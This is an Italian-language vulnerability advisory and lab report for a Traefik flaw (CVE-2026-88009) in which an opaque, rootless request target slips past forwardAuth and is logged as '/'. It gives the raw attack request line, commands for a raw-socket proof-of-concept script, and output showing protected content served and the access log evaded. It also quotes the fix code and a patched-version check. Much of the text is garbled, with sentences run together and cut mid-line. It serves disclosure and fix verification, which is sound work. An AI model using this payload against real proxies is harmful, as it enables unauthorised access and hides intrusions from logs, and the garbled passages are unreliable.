CVE-2026-88009 — Traefik inoltra un target di richiesta opaco e rootless che il routing/forwardAuth interpreta come '/'. Bypass dell'autenticazione + elusione dei log di accesso, verificato su v3.7.10 / v3.7.13.
/ ma lo inoltra testualmenteAffected: Traefik < 2.11.57, e 3.0.0 – 3.7.13
Fixed: 2.11.57 / 3.7.13
Fix: commit 58d1e9ca2045 "Deny request with an opaque request target" — denyOpaque in pkg/server/server_entrypoint_tcp.go
Advisory: GHSA-f52w-8j3h-j724 · CVSS 8.8 · CWE-1286 / CWE-444
Il pacchetto net/http di Go non impone la origin-form sul target della richiesta: passa il target
grezzo a url.ParseRequestURI. Un target come
GET http:http://app.local/private/secret HTTP/1.1
viene analizzato come {Scheme:"http", Opaque:"http://app.local/private/secret", Path:""} — un
target absolute-form legale secondo RFC 9112 §3.2.2. Traefik valuta quindi tutto
rispetto a un path che si normalizza a /:
sanitizePath chiama URL.JoinPath(), che copia Opaque e imposta Path="/";Path, quindi PathPrefix(/) (e qualsiasi router Host()) corrisponde;forwardAuth costruisce X-Forwarded-Uri da URL.RequestURI(), che restituisce
Opaque, quindi il server di autenticazione vede http://app.local/private/secret invece di
/private/secret e una policy di path-prefix fallisce in modalità aperta;encodedCharacters ispeziona EscapedPath() → /;GET / HTTP/1.1.La richiesta in uscita viene scritta nuovamente con URL.RequestURI(), che restituisce Opaque
verbatim, quindi il backend riceve il target dell'attaccante contenente l'authority e lo risolve
in /private/secret.
La correzione avvolge l'handler dell'entrypoint per ultimo in modo che venga eseguito per primo:
func denyOpaque(h http.Handler) http.Handler {
return http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {
if req.URL.Opaque != "" {
log.WithoutContext().Debugf("Rejecting request because it has an opaque URL: %s", req.URL.Opaque)
rw.WriteHeader(http.StatusBadRequest)
return
}
h.ServeHTTP(rw, req)
})
}
| ruolo | immagine | container | porta host |
|---|---|---|---|
| proxy vulnerabile | traefik:v3.7.10 | poc-traefik-vuln-3710 | 127.0.0.1:21020 → :8001 (entrypoint opaque) |
| proxy corretto | traefik:v3.7.13 | poc-traefik-3713 | 127.0.0.1:21023 → :8001 |
PathPrefix(/) con forwardAuth → http://authz:8080/check.poc-traefik-authz implementa una policy basata sul prefisso del percorso: X-Forwarded-Uri che inizia
con /private → 403 DENY, tutto il resto → 200 ALLOW; registra l'esatto
URI su cui è stato interrogato.poc-traefik-app risolve un target rootless/assoluto in un percorso (il comportamento che
l'advisory richiede al backend: "against a backend that resolves a rootless target
as a path") e serve SECRET-AREA … per /private/*.lab/README.md.python3 cve_2026_88009.py exploit --url http://127.0.0.1:21020 # vulnerable
python3 cve_2026_88009.py check --url http://127.0.0.1:21023 # fixed
Il PoC utilizza raw sockets di proposito: curl normalizza il target e
http.client rifiuta un percorso in forma non-origin, quindi entrambi nascondono il bug. Sono disponibili --path,
--vhost, --output.
traefik:v3.7.10 vulnerabile — bypass di forwardAuth$ python3 cve_2026_88009.py exploit --url http://127.0.0.1:21020
[*] target : http://127.0.0.1:21020
[*] protected path : /private/secret
[*] opaque target : http:http://app.local/private/secret
[*] mode : exploit
[*] control GET /private/secret HTTP/1.1 -> HTTP/1.1 403 Forbidden
body: DENY uri=/private/secret
[*] bypass GET http:http://app.local/private/secret HTTP/1.1
-> HTTP/1.1 200 OK
SECRET-AREA internal data served for /private/secret
request_line: GET http://app.local/private/secret HTTP/1.1
resolved_path: /private/secret
=> PASS (opaque target bypassed forwardAuth and reached /private/secret: HTTP 200, backend served the protected content)
Il server di autenticazione è stato consultato, ma con l'URI modellato dall'attaccante — questo è il fail-open, dal log del container authz:
[authz] X-Forwarded-Uri='/private/secret' -> 403
[authz] X-Forwarded-Uri='http://app.local/private/secret' -> 200
[authz] X-Forwarded-Uri='/private/secret' -> 403
E il log di accesso del proxy nasconde l'attacco — la richiesta viene registrata come /:
192.168.48.1 - - [24/Oct/2026:13:22:28 +0000] "GET /private/secret HTTP/1.1" 403 24 "-" "-" 2 "opaque-lab@file" "-" 1ms
192.168.48.1 - - [24/Oct/2026:13:22:28 +0000] "GET / HTTP/1.1" 200 143 "-" "-" 3 "opaque-lab@file" "http://app:8080" 2ms
$ curl -sS -w '\n[%{http_code}]\n' http://127.0.0.1:21020/private/secret
DENY uri=/private/secret
[403]
traefik:v3.7.13 corretto — target opaco rifiutato prima del routing$ python3 cve_2026_88009.py check --url http://127.0.0.1:21023
[*] target : http://127.0.0.1:21023
[*] protected path : /private/secret
[*] opaque target : http:http://app.local/private/secret
[*] mode : check
[*] control GET /private/secret HTTP/1.1 -> HTTP/1.1 403 Forbidden
body: DENY uri=/private/secret
[*] bypass GET http:http://app.local/private/secret HTTP/1.1
-> HTTP/1.1 400 Bad Request
=> PASS (fixed: opaque request target rejected with HTTP 400 before routing)
forwardAuth fail-open) ed evasione dei log di accesso. La stessa forma di target consente anche il routing cross-vhost (il backend riceve http://app.local/…, ovvero un'autorità che non ha mai visto dal router), perché il routing corrispondeva a Path="/" mentre il target inoltrato porta con sé l'host incorporato.encodedCharacters non è stato riprodotto separatamente (il lab non abilita allowEncodedSlash=false); deriva dallo stesso ragionamento EscapedPath()=="/" documentato nell'advisory.